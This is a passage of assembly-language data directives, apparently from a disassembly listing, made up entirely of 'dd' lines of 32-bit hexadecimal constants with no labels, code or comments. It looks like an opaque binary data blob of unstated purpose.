		dd 6CDE00FCh, 0B21F5BD7h, 0E30057B8h, 0C8F342D1h, 96AE6E9h
		dd 0A9242EC9h, 10480860h, 9DA71F00h, 18C7163Eh,	2E501F55h
		dd 5F4A0727h, 0C033458Ah, 0BA47198Dh, 516853Dh,	6C07213Ch
		dd 515DD080h, 4E8F01BDh, 0C263F0D5h, 74F82020h,	0C0BE0700h
		dd 0B0F685E4h, 0BDC93965h, 453926h, 96AE76A9h, 9906B168h
		dd 0A83261FEh, 2B090059h, 0EB9D1CC9h, 51C0E410h, 0D60DBE72h
		dd 30DB00D5h, 0DDB6A7E9h, 0CC38234Bh, 7DC70018h, 0AA043A44h
		dd 0A96F3399h, 0E9E0D058h, 78CED19Fh, 2A13ABD5h, 0FB9C40B2h
		dd 6C4077D2h, 61B44E60h, 0D88E54BCh, 0F09C1CCDh, 5D17CBB6h
		dd 24013009h, 38C329F2h, 84992434h, 0A79A800Eh,	0DD90587Ah
		dd 5B2C46C7h, 7D64003Dh, 9235D8EAh, 7B055BEAh, 0E43C7971h
		dd 0F88018C5h, 0F0D9E15h, 3FB03EF2h, 48A44283h,	0F989A5C0h
		dd 9658873Ch, 0DF02560Ch, 0C00F2A30h, 5DBBFFh, 0ECA8F96Bh
		dd 3A413CC2h, 8691680Fh, 0ED29E0DCh, 5BDB65h, 2A146325h
		dd 0EF4543B9h, 0D317E000h, 72F8106Ah, 66AF0B8Bh, 0AA8CFE88h
		dd 0A2B0659Ch, 6A0A88A1h, 0BC641C40h, 7A8B2763h, 0C779008Ah
		dd 0EAC9821Ah, 0B10148E7h, 74214D07h, 0E8642211h, 0D2C2E2Eh
		dd 60BB0011h, 4352A667h, 545A572Eh, 766E1904h, 2E01A4B8h
		dd 3BA07FD5h, 5A9D883h,	0B8CA5100h, 396FE8F6h, 7FD10115h
		dd 63E5689Ah, 0FC11D497h, 2901DF00h, 42DA2BB4h,	10C10E57h
		dd 0F0A027A2h, 7762F78Ch, 8807824Ah, 3413FDD0h,	99FCC1AEh
		dd 5A9BC4h, 0CC5B7219h,	5E9C071Eh, 8924C600h, 0C077338Ch
		dd 23595817h, 40DA491Dh, 55FB9E50h, 4161D671h, 0A561D96Ah
		dd 0E2F416F1h, 499000B4h, 0AFAA5114h, 0E0901295h, 3171E1Fh
		dd 0EE5A7F80h, 495D4B35h, 82042C78h, 0F4725036h, 0FF44D48h
		dd 0E71C9C03h, 755AB8h,	0BDDC1E29h, 0B5E238C1h,	0AAA9790Bh
		dd 976800A3h, 1D81023h,	781882B0h, 0C0F4F92Ch, 2759072Fh
		dd 1530846Ch, 3229FF4Eh, 0E1915F03h, 984439A8h,	0F7CB0400h
		dd 115355BFh, 431D26C6h, 8A60C0B0h, 5F0057DEh, 11F317E2h
		dd 0EAA6CFh, 6DC127DAh,	45DBFDC0h, 0EC8D2A00h, 60A8082Ch
		dd 0BEA071Dh, 0A023441Fh, 0F5F226C4h, 0B38C5D24h, 0A86CC202h
		dd 47BC685Ch, 0BC69008Fh, 52C93FE9h, 600095E2h,	0BAB629B0h
		dd 9F15349h, 5A3E59EAh,	238D401h, 70B86477h, 5F31D39h
		dd 63AAE90Ah, 0A103F4B9h, 764EA384h, 53588E98h,	0B8D69826h
		dd 0A72B0039h, 29176AF7h, 0D992044Eh, 919385A8h, 9EFE4318h
		dd 4A1354D1h, 98816CF0h, 830A259Ch, 270C4C58h, 71C6D470h
		dd 0EFA816F4h, 5C3C00FEh, 0BED3E605h, 443BC70Fh, 7C327630h
		dd 3BA3B3Fh, 0C70010C6h, 0A552C5FAh, 4CAF6A25h,	0C800E082h
		dd 6D7AED41h, 41CB45A7h, 879C1817h, 0D4290E59h,	0C225BFB8h
		dd 6B5C2C52h, 0F7EF5F02h, 6429A7F4h, 0B10200F8h, 3DCA5DAAh
		dd 0C800F28Dh, 645E7662h, 0D08447h, 4144544Ch, 19290873h
		dd 28347C00h, 0FE9A38D7h, 149D0048h, 46EFDC2Ch,	0DB09588Fh
		dd 804A1173h, 0D13E72B8h, 0E010032h, 0B3817F9Bh, 0C8001EEDh
		dd 474326CCh, 199EF93h,	31055BB4h, 80E77C5Fh, 0E9B34B11h
		dd 9160FB6h, 0BA753A43h, 0CEEB1821h, 1DE18103h,	768C3447h
		dd 5B03080h, 0AE3AC694h, 8CEC842Ch, 0BFB53200h,	0FA6237E6h
		dd 14ED329Bh, 78746D48h, 0F1214A87h, 0B3280821h, 1FD365C8h
		dd 52CCE87h, 503C68h, 139C5B9Fh, 0C200BAC0h, 9BCC4EB1h
		dd 15CE28h, 4B665193h, 303C1145h, 0A3FC3900h, 763E4DE7h
		dd 0AFA5011Fh, 877FBBF3h, 0C7F4D8D2h, 0F0C55B00h, 0EAD3892Ch
		dd 16DCE684h, 8592BEh, 9B9CE81Ch, 4000A8BFh, 9A2E5112h
		dd 0AC9F1Eh, 114F64E6h,	156EC885h, 14B69500h, 860822E7h
		dd 605374D6h, 6EE63AACh, 3D01F5F3h, 300A90E2h, 0D1E49B09h
		dd 0B9F81C9Fh, 1CD8D338h, 0FB6C433Eh, 9CF022F9h, 0C1C02014h
		dd 5787C74Eh, 2BA13955h, 6E4BD984h, 0C1408031h,	460CE0B7h
		dd 1A18047Bh, 0EAE7F4DBh, 0F073589Eh, 8026F903h, 43B03E70h
		dd 5E1354E4h, 2800A74Fh, 353AB6A1h, 0BD890E32h,	0ED854505h
		dd 7F480C7h, 2400F08Eh,	0E39837E0h, 2F4B6A2Bh, 886A8015h
		dd 8E3C44D0h, 0C63D0B89h, 3950D04Ah, 5439165Fh,	76350281h
		dd 605D9EF1h, 5502BCF5h, 1C62F5EBh, 75F44995h, 0E378213Bh
		dd 8C410029h, 0E957009Ch, 8A03648Dh, 0EA006B38h, 0B0BB861Bh
		dd 0BAD6EBh, 4BBC5278h,	0FAB30C3Eh, 5C275839h, 514080B4h
		dd 9A204C3h, 3A4C7107h,	6EFBA4A0h, 2B6F3BD8h, 0A15EA011h
		dd 0BA3AABA9h, 0E830A040h, 8027B720h, 17479086h, 3C02F464h
		dd 0BAB3D96Ah, 0B4BC4024h, 5BE04F8h, 0C068EAB9h, 6C27966Dh
		dd 0C9E35307h, 5950603Eh, 1D4863ABh, 2BBE5B2h, 2A04FAADh
		dd 0D07E7C62h, 52C8800h, 94A12FDCh, 0E6DE00F8h,	0A057B017h
		dd 0E0C8F400h, 2D1B6CBEh, 184E3D0Bh, 41050CCCh,	0C3549A36h
		dd 0C084CD52h, 49AB34E0h, 24CC24Ch, 0BDDB272Dh,	0D16C6893h
		dd 601F009Bh, 0BA2F4E78h, 62167054h, 3C80C008h,	1C7A7264h
		dd 4069C3A2h, 0DBBC83FFh, 560098E2h, 852E0540h,	966FAF27h
		dd 501354h, 0EA44D38Ch,	0FCE8C5D9h, 0CFDF9402h,	48FE9C27h
		dd 41EEB14h, 0C0CE38CBh, 1310AC8Dh, 0B839026Dh,	72A0D86Ch
		dd 0DA0014BDh, 6D34E7D1h, 206BBF7h, 265FE9B8h, 18C48D85h
		dd 0A8C0FC94h, 0EF95DC9h, 8242CFD9h, 0A81E1E8Bh, 401658h
		dd 0EC17A453h, 33B03543h, 0C368F840h, 1A236CC8h, 0A7E35402h
		dd 69D34E3Bh, 1839C680h, 5F03384Ch, 0E4F9E52Ch,	9F74FD90h
		dd 805DB428h, 0B83C77EEh, 0AC273A84h, 43C92CEAh, 8B44DCFCh
		dd 3083AB6Eh, 0E8C1A8F2h, 3F7D0161h, 7908234Dh,	4BEC6287h
		dd 2030042Dh, 2B1E002Ah, 9EFC7481h, 0F080E3B2h,	0E4E800BFh
		dd 0F28F2137h, 7D00EB43h, 87F70A66h, 1178386h, 372C0BFEh
		dd 62AD5E50h, 6824035Ch, 7A8BA7DAh, 56234EA8h, 0C1D4F450h
		dd 4C18B24Ch, 0CF800F4Ch, 8529038Bh, 0C14E86Ch,	74C890E0h
		dd 7A0102ECh, 494BF124h, 7B004856h, 99468285h, 64D40004h
		dd 0F4733470h, 184837B8h, 53C600B0h, 0B76C4739h, 581B00DCh
		dd 9E5AEFA4h
		dd 7AF4259Ch, 0BBC80D07h, 2C071B4h, 170E0ACh, 9B07208Bh
		dd 70825EC0h, 13079FD4h, 0FB58C674h, 6AC2240h, 9E641289h
		dd 0E220477Eh, 988D60ABh, 400007CAh, 0ED99033h,	258F0665h
		dd 3CD9D26Fh, 0AEEB6D00h, 18F6F8h, 0ABAAA8DFh, 0D46B08A7h
		dd 8296DB3Eh, 9B5239BAh, 2698801Eh, 42AA6EEh, 0AC0DF620h
		dd 22F9C643h, 190E4600h, 0FCB65B8Fh, 261D00D5h,	5C76E450h
		dd 0C30048D3h, 0ACFD1663h, 3915BA78h, 9401669Ah, 0A93FAA58h
		dd 0DD97D4DAh, 7CFE1C05h, 0E0006AEFh, 0D44FFBEEh, 39ED00E3h
		dd 283AA260h, 6100DB6Fh, 0E2CE594Dh, 0D8709Dh, 847A9014h
		dd 66D61D13h, 0B057801h, 0AFB9A1D5h, 9719368Bh,	9F8A0D0Eh
		dd 6DD20CF8h, 0E200C048h, 5111FBF6h, 0EE71B904h, 24BF0B70h
		dd 6400E0EFh, 9AA8BA47h, 20541100h, 84F0F56Fh, 28255C91h
		dd 1BDB6600h, 0F8C9E55Eh, 1F55BF00h, 0F92D6794h, 0E22AE4CAh
		dd 0B14D025Bh, 0A481547Eh, 0C783A4C0h, 41756730h, 9A397Fh
		dd 0EBE1B319h, 0E773B5FFh, 0A8B0BA24h, 50B4D039h, 40565A25h
		dd 0EC3A4D4h, 93304033h, 15FDEEA0h, 0E400C01Ah,	0BA255FA3h
		dd 3FD8B366h, 0E3A826Eh, 0BFD15482h, 81604B91h,	0A8B8EF0Dh
		dd 8B372709h, 0B4D017h,	0B3E344ADh, 5F14AEBEh, 6DC1510Eh
		dd 0D90A0F8h, 1724B17Dh, 0E022D67Ch, 5A2081D8h,	2CFE2425h
		dd 497DA8A4h, 0B24E8A6h, 0B271DA0h, 880E7E7Ch, 6EAD4261h
		dd 1A118076h, 4EAC9C9Fh, 0A8C50C79h, 0C8500DF1h, 5055F700h
		dd 6C0A7DB6h, 8BA3007Fh, 0F2A2F0Eh, 9E135F15h, 4000F275h
		dd 3E353F07h, 20F005BEh, 0C1F852F4h, 2A340388h,	0EAD6E800h
		dd 695E0Dh, 0E146F2E7h,	0B87F2C1Ch, 7B881F00h, 6B7010EBh
		dd 0EE4000D1h, 16D52692h, 0DF005115h, 62E22E61h, 7B6D7C31h
		dd 0E30C00DDh, 138C5895h, 830F99C7h, 0EA036h, 0B46DB62h
		dd 0B29600A9h, 0B46A4EE0h, 0E54CA829h, 8D7A0434h, 84804C9Ch
		dd 233B11h, 0C72F8924h,	0D92570DCh, 0A56C7426h,	758E5B00h
		dd 3D47DF7h, 1DF2D7BFh,	0C9E89E07h, 0BC1EFBC2h,	4AC7C69Ch
		dd 0EC80975Fh, 0E919DE4h, 3DDC930Eh, 8249422h, 0CEF57A41h
		dd 4013AC5Eh, 0DFD24A00h, 1A8DCA4h, 0B98D4928h,	3110ED86h
		dd 0C0F8E9BFh, 0EA4A13D3h, 0FE878487h, 5E7925F2h, 0DF7A8070h
		dd 4BCAEB28h, 36408DFEh, 1170061h, 0B7E41B26h, 3A2CEC39h
		dd 7E008863h, 59A15793h, 0D0600F47h, 3A0C95Eh, 0C7EF7DF5h
		dd 0C12B8000h, 0D2DBDA56h, 0E5DD1D28h, 0CB0D0965h, 6DA7C880h
		dd 0E0BA2590h, 0D548D4F0h, 0B6740021h, 82816319h, 0B8270070h
		dd 5E41C27Fh, 7E1D804Bh, 0F0086A1h, 1556209h, 0F18B0089h
		dd 0B5A47097h, 0E6EA6FB2h, 5B82A0Bh, 576F83DAh,	6A4BA91Dh
		dd 41F0BAC5h, 0FC181BB5h, 43C9882Bh, 493FECB4h,	71CD641Eh
		dd 91C6C340h, 904B7574h, 0FAEBF45Ch, 794000F1h,	9ECF9D1Eh
		dd 0A1008AF4h, 0B13B4463h, 272D9005h, 1C000462h, 0BB5F5509h
		dd 86286403h, 0B87A3289h, 1E74821Ah, 0A6EE102Ch, 0E94F05FCh
		dd 2550F285h, 96ECE0ACh, 457D3Dh, 3EF15573h, 0DFCBA140h
		dd 230C31ECh, 282BD741h, 918EC048h, 0F61E1C20h,	0E0B13701h
		dd 0C5B03054h, 82E632E5h, 800385E4h, 0BBD94688h, 9ED8008Dh
		dd 0FAAEA36Fh, 0C501B31Dh, 35444B3Dh, 0C0295CF2h, 34C4A300h
		dd 0BE922D3Fh, 24FEEF05h, 0F8FCCA11h, 13A0C928h, 21B4B9D3h
		dd 64D97414h, 10769BB8h, 0AD6C1500h, 0B8F95F97h, 50950BC3h
		dd 60F0D1AAh, 12FDD00h,	5274F486h, 0FBC30371h, 464D28A0h
		dd 0DC8F18BAh, 50CEC742h, 0A44070DCh, 0DC606Fh,	0AEEF3DD0h
		dd 0B8FDCE05h, 0AC88C49Ah, 495BA483h, 1EB14888h, 8057067Fh
		dd 0E86FEE78h, 9000DBCEh, 6B2CEB9Dh, 9A97FF94h,	9C5E0070h
		dd 0F46A6107h, 0D225590Eh, 88F884h, 0E91F5854h,	0C047874h
		dd 54BE67F2h, 7C4880AFh, 1F14B56Fh, 0A52D99E5h,	86132000h
		dd 25FEE97Ah, 0DAF725h,	63DF953Ch, 0F66D00F8h, 39A1188Ch
		dd 0F000F35Fh, 98BA999Eh, 78315EBh, 266E1EB7h, 538FCACh
		dd 14B36F2Eh, 62BA8500h, 1B0E01Ah, 0C2599C36h, 0F0812492h
		dd 970018CDh, 34AA3768h, 0BA0A1E0h, 67535BC8h, 485E1800h
		dd 0D8984C15h, 18221F38h, 0AE111A43h, 4E383E72h, 0D0C0DB00h
		dd 8E3FD240h, 80A86417h, 7A01484Bh, 0B04A1730h,	2FC84155h
		dd 7088FCE3h, 0B34B601Ch, 6FE9CB0h, 7EC4BF7Bh, 0C7001133h
		dd 908C969Bh, 0BFF1107h, 0B2A07CABh, 8055478h, 496FFBFDh
		dd 0EC3A18E8h, 6CA40B5Bh, 80B7ACD2h, 6D41BD0h, 0D6826E0h
		dd 0C1DC048Dh, 7404AF86h, 0FA002095h, 880F84BBh, 70475Ch
		dd 4962CC6Eh, 1D16965h,	97087E31h, 20E013C2h, 57704751h
		dd 43498E01h, 55F5D20Ah, 0D757E03Eh, 90E89C00h,	0F21F18A5h
		dd 0BB970F6Dh, 8200EA9Fh, 285C24ADh, 0F5D0AA01h, 0A96D070Dh
		dd 9E5ED4h, 0CDA4792Bh,	4716C299h, 56D6A200h, 714F42BDh
		dd 3CE40E55h, 1DC15F50h, 6B6B91F3h, 0C3970C23h,	8A758068h
		dd 0FBB400A5h, 0C0DE61DAh, 12077E9Ch, 0CFA39E51h, 0AD661EB1h
		dd 293CD62Bh, 0BA3CC095h, 9C9091h, 236B93C0h, 0D68B2E21h
		dd 3272F90Fh, 5BFFA0B0h, 3FAB39Fh, 0AEE29C3Bh, 26F04C46h
		dd 8D4B5C29h, 90595CA0h, 331E0180h, 4431997Ch, 0CCC02BC3h
		dd 0F44F7B97h, 0B82F0061h, 0BBC156C8h, 7507FD0Bh, 2388AF87h
		dd 4DA2BEF0h, 659001EAh, 5305DEFh, 0AF1830D0h, 2513A8F2h
		dd 7401A9DEh, 83CAD633h, 24F31870h, 92B4BB56h, 891F0F79h
		dd 960B1200h, 5102F0AAh, 0F4F1CF1Ch, 6A487E3h, 0E0EC34F0h
		dd 4D8B0056h, 0F98A08D4h, 1B004113h, 0E864FE15h, 3B107761h
		dd 57968FA0h, 0B080C35Dh, 0D1A2CA0h, 0D6331133h, 39780105h
		dd 0FA5CA6BEh, 0A4093B5Fh, 5B3000C3h, 8E25CFh, 42A0232h
		dd 0E9D76E92h, 0C9343109h, 40DC745Ah, 64F4EF96h, 7CA0474Eh
		dd 0A7B90043h, 0C4851899h, 9DE22098h, 2E376139h, 0AF28A83Dh
		dd 0DC91D0C3h, 578DC24Ch, 0A94D7000h, 63006F41h, 0A1B21FD3h
		dd 0FCBA7469h, 487F7D89h, 2E3A18A6h, 940B19F8h,	206210A7h
		dd 41985AA5h, 8E1C6101h, 0F8B5A5E6h, 1778002Ah,	0C3B34E25h
		dd 1A0AB000h, 50A2C60Ch, 98F412FEh, 30A8F5h, 0F9D3102h
		dd 25B45C4Fh, 44709FCBh, 16037148h, 20A0C1EAh, 0D0FF5BA9h
		dd 0C7D62AB8h, 0C836CB2Dh, 0E8C3ECh, 4B3A9E6Eh,	7207E4Fh
		dd 2012214Ah, 5D3F441h,	0B2E0DD47h, 0BE57008Bh,	8D78E24Bh
		dd 0E0276F95h, 0B4700Ah, 76E44927h, 24F60FDDh, 0C106AFFAh
		dd 0F38EA9ADh, 3EEE0E44h, 320A47Bh, 982C6930h, 5E02BC98h
		dd 7425DCE0h, 8134D6A6h, 14395751h, 60DC311Dh, 4013197Ch
		dd 4C001FCAh, 0B8FAB4F0h, 711213C6h, 86A8009Ch,	8083EDB1h
		dd 484B3200h, 97038A3h,	0FD160B5Ah, 3AA4B9A5h, 60A0C15Fh
		dd 0FCD91381h, 802B0D47h, 319FD215h, 1B553Fh, 27192A49h
		dd 0CAA882F3h, 1A13468h, 0B5079203h, 0C2F0CC25h, 39E0D7F1h
		dd 0E860ED38h, 0B76B0519h, 914002A4h, 7F63289Dh, 0AC4FE850h
		dd 11838CBh, 139711DCh,	2E00E5F6h, 558AB24Ah, 0F080F151h
		dd 0BCB4480Ah, 6CC15B00h, 0F986987Eh, 8063BC3Bh, 0D252FC87h
		dd 7872C5BAh, 18851609h, 3410000Ch, 5C5B8391h, 155EDD00h
		dd 0F13A2D57h, 3707001Dh, 260F4EFDh, 7C03F6EEh,	9314BFEh
		dd 0EDF000DCh, 0F9650B78h, 3A133FD3h, 6CC0CC93h, 3099DED2h
		dd 2E28E488h, 664AC3B9h
		dd 278D088h, 79170AC7h,	0DC802A19h, 61122E2Bh, 18814E0Ch
		dd 0A1EC8F9h, 5887F68Dh, 1D5500D4h, 0D4EA6D3Fh,	0BAAB543Dh
		dd 5626008Ch, 3638173Bh, 0DEC707AEh, 0F9D9E6ADh, 101C5806h
		dd 0FECDC0F3h, 260235E2h, 626E41D8h, 81AC5ED6h,	2E596A43h
		dd 904C708Ch, 3764C4Ch,	0E7D7B2F3h, 96DDA071h, 3EFFCD6h
		dd 7CA2CA4Dh, 9BB1B120h, 4047F1F0h, 19D0C785h, 300E8B1h
		dd 206C5ED1h, 96260E8Eh, 5B00738Ah, 0C0A5E399h,	3DEB00Ch
		dd 785A191Ch, 0D4220090h, 6106106Ah, 7F00FF4Fh,	0DF8B7C02h
		dd 0E83FD6h, 1030C9DBh,	0FC24B595h, 54DDF926h, 62DE4D80h
		dd 793A6B31h, 0FE90048Fh, 0AC14FD92h, 8021EF00h, 970700A6h
		dd 0FC50C265h, 0E12D24Dh, 31B14F24h, 0C4FB49C1h, 0AB308F67h
		dd 54CE4089h, 3D4570A7h, 6C964143h, 80301FB7h, 0D15538AEh
		dd 8B004847h, 8E1E6764h, 3F2DE0CDh, 128AFB36h, 2D49DECh
		dd 7C613F41h, 7E035CF4h, 9B0A9942h, 5C38F973h, 48E865F8h
		dd 64094D32h, 0E680FB8Dh, 7D6087C3h, 0C6D74709h, 0FFB0A3EDh
		dd 0B759B311h, 8F1BF180h, 0C3816E5h, 88E880A7h,	110E8032h
		dd 20A05D9Fh, 0D1338390h, 7891005Ah, 49040B01h,	0CC25BBD5h
		dd 74D221h, 24FB4697h, 513CABE4h, 0E908419Fh, 939C60h
		dd 8819CE0h, 568B7F05h,	80E89A3Eh, 3B55C864h, 0B86A45h
		dd 0AA6528E7h, 67177AEDh, 9F8D1D09h, 0F747AF7h,	684A951Bh
		dd 38EA44C0h, 99F03771h, 3233721Eh, 78B81D13h, 39008470h
		dd 0A6C98F2h, 73C09EC7h, 0BE5A00B7h, 1BCD04B5h,	0E05C959Ah
		dd 0F2007FFCh, 9C910DF8h, 9F92E5h, 56626C5Ah, 0B69A952Bh
		dd 0CA17EF00h, 6421ECC7h, 0D8BA0341h, 99509EB4h, 541DA119h
		dd 21D09818h, 7B7C0DE0h, 81883CB2h, 415C95A8h, 0B5305F72h
		dd 39B0E8ADh, 7B00779Eh, 0C775080Ch, 710698DAh,	23388A33h
		dd 1D6B32D0h, 8498FA90h, 0B60049F2h, 53F954A8h,	0F822690Dh
		dd 9D880717h, 4584CCCh,	0A41FEE12h, 212AF500h, 97A4D0h
		dd 0D89AF326h, 0A785553Bh, 0B0F2BC1Ch, 0C101F4FEh, 0ABF8489Fh
		dd 7BF08105h, 35761C30h, 8B02845Ah, 0E017C4CAh,	2200899Ch
		dd 0A1EC4162h, 84096Eh,	9F45AB73h, 1E132AFCh, 0AEFD3D15h
		dd 5FE301C4h, 81690384h, 6F3261h, 0C87F4CF0h, 0BC60FE24h
		dd 61DD6229h, 7E101E5Fh, 531DC73Ch, 30EA533h, 490E3C8h
		dd 26A4D9D8h, 9979BE0Ch, 749154h, 46D008CCh, 0D12B1C90h
		dd 0EC009EECh, 0C31BD6F9h, 1210EA2Dh, 0B93526BCh, 0B2037E1Ch
		dd 0B66B793Ah, 5145B89Eh, 4969006Fh, 9524C6B7h,	0EF03E6F2h
		dd 549F1E6Bh, 0D0A4F0CCh, 214837A5h, 0AFEB079h,	8F0F5E31h
		dd 0FB247ADh, 2963E080h, 5ACAB767h, 5308B0B1h, 0F6E0A954h
		dd 16B56100h, 8407FD73h, 0FDF3B04h, 88E67600h, 0D4F98522h
		dd 8BA43000h, 8EFC7FEFh, 7CF800DAh, 6F6EEC89h, 7E0798BFh
		dd 316DE187h, 716D007Bh, 0FA6D48Fh, 0E76303DCh,	7853B540h
		dd 600FFC80h, 1340D988h, 82818EEh, 0E5B8A17Fh, 1D4F03Bh
		dd 0FE63FC54h, 96C47E38h, 0E2B01670h, 0FA500ADAh, 0A22F00BFh
		dd 8CD074EEh, 28422C00h, 86708549h, 0CF3F1E65h,	0B20E00C9h
		dd 0AEC2B4FDh, 0D589EA00h, 3975296Bh, 0B034EEE2h, 3DBDEC6Ah
		dd 9C0044A2h, 75D741A9h, 7274F482h, 0F0F15B30h,	30633E53h
		dd 4BA854BBh, 0B677FF26h, 0AFAA4806h, 7084CDBh,	92F7186h
		dd 0C727E57Dh, 35244348h, 4E2B8D88h, 38F8BCFEh,	0E374CC7Ch
		dd 28A7780Fh, 7A88F3Fh,	174694F7h, 2EB70010h, 297C3BE7h
		dd 7900D3F4h, 0B06C1AFBh, 0C75018h, 770FEF8Dh, 753D31BBh
		dd 927A71Fh, 39335D01h,	0E9E062CCh, 30BAE9CAh, 4DF1B703h
		dd 8A0B5CBh, 24009468h,	2A6C803Bh, 2851C23Ah, 8F64B001h
		dd 0FCF05D04h, 0A0125878h, 5E03BA02h, 6C204804h, 3706E4Bh
		dd 580D46D9h, 82C37B1h,	7281B85Fh, 7B86E53h, 4322CF8h
		dd 0FD184E4Fh, 0CDF44034h, 0EA7CA2Eh, 0AD608BA6h, 34C41343h
		dd 567292F0h, 8D1F5978h, 2B02E588h, 0A981ADh, 2E601A4Ah
		dd 77CF88h, 0F8D48B1Ch,	0E59208F4h, 9106E3F2h, 50AF6C7Eh
		dd 5BDC0E48h, 0D8984C85h, 0BE185535h, 0FE9AC9Bh, 2107007Ah
		dd 568C198h, 8CC912Fh, 3513102h, 8F690772h, 0F09931DFh
		dd 96708284h, 7D8CD5Ah,	906E33D5h, 5F181814h, 0BF210E50h
		dd 0A81E3040h, 0EB039FF4h, 6E4A01A4h, 184ED96Fh, 52718883h
		dd 72876E00h, 0AD5F6451h, 941A50F0h, 2AA9791Ch,	0D8FE14h
		dd 0AA17470Ah, 4838557Ch, 37ED831Dh, 4C00E02Ah,	0C7176043h
		dd 0A75F8CBh, 2B93FA0Fh, 0D97B81F4h, 80369887h,	6C172EA8h
		dd 388015BFh, 48E1EC91h, 9D719311h, 3A067D31h, 51157B1h
		dd 41BEC43Bh, 0D5D84C5Dh, 21C02809h, 5ABE9C1Bh,	0FAD6312Bh
		dd 409211B1h, 0C2917B20h, 0B98E9402h, 0A4551356h, 0A9605334h
		dd 5D1048BEh, 94B0D790h, 0C007BEC1h, 20BFD974h,	0D2ECD0CDh
		dd 0CE14925h, 0EE930404h, 637C0E83h, 1832905Eh,	49DEB628h
		dd 7879AD5Ch, 9F58C348h, 24907212h, 10BD290h, 4FE3761Dh
		dd 0F05324C1h, 3160C468h, 21D29848h, 0BA20CE1Bh, 24073549h
		dd 202CC688h, 7A370AE6h, 2EC190F7h, 1D07E11h, 5F863083h
		dd 9805D798h, 3F40850h,	94DAA41Fh, 1C1DA9D0h, 7BFE09AAh
		dd 82AB0424h, 6E30C268h, 77D0B707h, 14468ACh, 76500EDh
		dd 0F65AA55Eh, 19C01C9Bh, 0D43B74F7h, 81AC0061h, 6A2E473Eh
		dd 0C50FC04Bh, 0E35F1130h, 0A86FD6A1h, 0A0A8F3D5h, 4F5D7D90h
		dd 65A7E038h, 46014893h, 5D7C9F17h, 44880718h, 0A117145Fh
		dd 0C508981Eh, 3097811h, 20903041h, 0D975116Eh,	8084887Eh
		dd 2F6E4873h, 6F0C453Fh, 81F93AE7h, 8643003Dh, 7C02CA1Dh
		dd 13677A5Bh, 5E00AEE9h, 0AE370EEh, 86A067D9h, 9A4E0ECCh
		dd 882359BBh, 6E1E0943h, 222E9405h, 6D207D44h, 9776E46h
		dd 0E399FA5Eh, 0FD542420h, 0D4A00EA3h, 3128A405h, 60469468h
		dd 0A6174B01h, 0B31357Ch, 17440976h, 2182C48Ah,	1C40DCF7h
		dd 980C708Eh, 0C8F45E0Ah, 0D3E1447h, 5FE8A038h,	7956008Ch
		dd 0D93C0EABh, 0DD39CC21h, 0F0FAA8ADh, 66593A02h, 0A01A9BACh
		dd 843CA8A0h, 30B00016h, 3AF340B3h, 6DE60180h, 504DC201h
		dd 39B212Bh, 0B1183180h, 0F349969Dh, 0BDDE5C01h, 3D9A3094h
		dd 1088D940h, 4863E4B8h, 0F612DC47h, 48FC08F3h,	4BBEA6C0h
		dd 8FB8435Dh, 9E4FFC21h, 11B3A55Eh, 0E97DB802h,	4E5CC7D3h
		dd 3A0A82B1h, 0B1C0A011h, 0E93466h, 0A1AE3B35h,	0E5F81749h
		dd 2AB0740Eh, 4E4D5D5h,	6AC2947Bh, 9B20E089h, 82098C0h
		dd 34AD118h, 597B5B0Dh,	193DABF0h, 0B01B50ADh, 30B4557Ah
		dd 0FC1024C8h, 0AD5B400h, 461F4272h, 0FE0F005Ch, 0E16AE328h
		dd 4A63AD27h, 0F8F25B38h, 98FA9174h, 200A000Eh,	19920E4Ch
		dd 4DE8E696h, 5B6C410Fh, 0B6613883h, 61A0A8DFh,	89370708h
		dd 0F7F30C71h, 9FB58070h, 47564C7Fh, 0BEA51EC4h, 0C4B05D88h
		dd 0BD904132h, 0E6F8E8BEh, 0A29609A7h, 0EC0004C3h, 400D36CFh
		dd 1842C8A1h, 7C6E081Fh, 0F37326D9h, 0D9D29047h, 8754245Fh
		dd 2C9F02D4h, 8F0914DAh, 0C26CA644h, 0C46D32F8h, 8AC6B08h
		dd 4E74ACF9h, 23F25E00h, 0A8AD3E99h, 8FBCA006h,	5C80E294h
		dd 0D029345Ch, 8B030BE8h, 3CE84388h, 0A91D4104h, 40DC9972h
		dd 257CAC05h, 39C0DC91h, 2BA1742h, 6897AD12h, 0BCA1B6D9h
		dd 0C4F118AFh, 0A800FA82h
		dd 8C5EEC56h, 4D553609h, 6980E4BDh, 79982007h, 5211F58Ch
		dd 0F5E1D861h, 2B243B05h, 0B0081BB0h, 6E4CC05Dh, 1E4CD969h
		dd 5487E000h, 0EC2D006Eh, 0C8DF2373h, 7C020FF4h, 0B29AF6ACh
		dd 37808077h, 0A00A589Dh, 5E42398h, 947C92E0h, 5DD89082h
		dd 0E0BA749Dh, 0B037522Eh, 504465Eh, 64C594FDh,	923B43Ah
		dd 3E02A707h, 0D37E49C0h, 0D1E09928h, 287187Eh,	0A0F6A7EDh
		dd 0B462FA63h, 0A684A681h, 0D584406Bh, 0F360D7C0h, 0B32B1FD9h
		dd 0B1CCB2BCh, 1807D1C8h, 988F0495h, 0C1DA0D5Ah, 0D17659E4h
		dd 5F742025h, 3A8E7C3Ch, 243C80A8h, 0A6685198h,	0D9A0A094h
		dd 315D3018h, 1A92DDE1h, 8758D15Ch, 80C8825Bh, 539C754Fh
		dd 5560FD5Fh, 6E13D2F1h, 7A3E01Ch, 514C7703h, 0F25CF06Dh
		dd 5492E2B7h, 828C8800h, 4B85C7ADh, 46AC1241h, 50983090h
		dd 0F8A1D34Ch, 97B18C3h, 0C9984A07h, 503B5C1Ch,	9B6C0073h
		dd 9FA6437Fh, 0FD393075h, 0A41544B1h, 0F2366700h, 7D422E7Bh
		dd 621B084h, 9C93B88Ah,	430B491Fh, 803208E3h, 82CA88EAh
		dd 126A0090h, 0B077F536h, 20947F81h, 2B140AD6h,	86D404CCh
		dd 2126B6A7h, 1FA1453Fh, 294085E9h, 9356C011h, 2EA7FCBh
		dd 6325BEADh, 0F4C4A3FEh, 4A017146h, 3D7CAB17h,	8B060C38h
		dd 641743D0h, 0FBB2B71Eh, 6FDEC3C0h, 12962392h,	83EFCE02h
		dd 0A4D4FA60h, 5A54FCDCh, 0B80031E8h, 0B4F91D44h, 4CF128A3h
		dd 2101F78Fh, 4C7E1362h, 0AB845849h, 5D4ABE08h,	402FC4C0h
		dd 5CBEC322h, 0EE16EA93h, 0A1250A26h, 38621Ah, 0A4C36DACh
		dd 300211A5h, 49243DE2h, 788E404h, 0B32DA909h, 0BA80E948h
		dd 8B3697B5h, 918DE300h, 33180408h, 0C05504BBh,	0C8396CA8h
